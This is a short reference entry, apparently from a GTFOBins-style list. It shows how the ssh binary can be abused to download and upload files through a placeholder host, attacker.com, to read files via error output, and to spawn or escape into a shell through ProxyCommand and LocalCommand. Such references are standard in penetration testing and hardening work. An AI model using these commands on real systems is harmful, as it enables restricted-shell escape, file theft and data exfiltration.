ssh

Download

ssh user@attacker.com 'cat /path/to/input-file"

File Read

The read file content is corrupted by error prints.

ssh -F /path/to/input-file x

Shell

Reconnecting may help bypassing restricted shells.

ssh localhost /bin/sh
ssh -o ProxyCommand=';/bin/sh 0<&2 1>&2' x

Spawn the shell on the client, but still requires a successful remote connection.

ssh -o PermitLocalCommand=yes -o LocalCommand=/bin/sh localhost

Upload

echo DATA | ssh user@attacker.com 'cat >/path/to/output-file"